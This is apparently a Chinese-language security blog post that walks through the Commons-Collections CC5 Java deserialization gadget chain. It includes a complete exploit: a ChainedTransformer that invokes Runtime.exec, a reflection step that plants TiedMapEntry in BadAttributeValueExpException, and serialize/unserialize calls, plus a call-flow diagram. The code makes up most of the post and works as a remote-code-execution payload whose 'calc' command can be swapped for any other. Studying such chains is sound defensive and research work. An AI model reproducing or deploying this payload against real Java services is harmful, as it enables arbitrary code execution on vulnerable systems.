Featured image of post java反序列化之Commons-Collections-CC5链

java反序列化之Commons-Collections-CC5链

java反序列化链子之cc5链

正向分析

入口类是 BadAttributeValueExpExceptionreadObject() 方法,这一个倒是不难。关键是后面的。

逆向思维来看的话,LazyMap.get() 方法被 TiedMapEntry.toString() 所调用,而如果去找谁调用了 toString() 这也太多了,太难找了,我们只能正向分析。

BadAttributeValueExpException</font>的readObject

TiedMapEntry类下的toString

同类下的getValue

再找到LazyMap下的get

后半段是cc1正链的后半部分到LazyMap,直接拿进来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//        System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);

TiedMapEntry.getValue触发LazyMap.get

1
2
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,Runtime.class);
//        tiedMapEntry.toString();

回到链首

可以看到存在两个toString方法

当实例化BadAttributeValueExpException传入参数TiedMapEntry

val也会得到TiedMapEntry,从而进入链子

所以需要先给个假的,再通过反射修改val的值

1
2
3
4
5
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//        System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,Runtime.class);
//        tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);


serialize(badAttributeValueExpException);
unserialize("ser.bin");

流程图

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject()
  TiedMapEntry.toString()
  TiedMapEntry.getValue()
     LazyMap.get()
        ChainedTransformer.transform()
          ConstantTransformer.transform()
            InvokerTransformer.transform()

最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计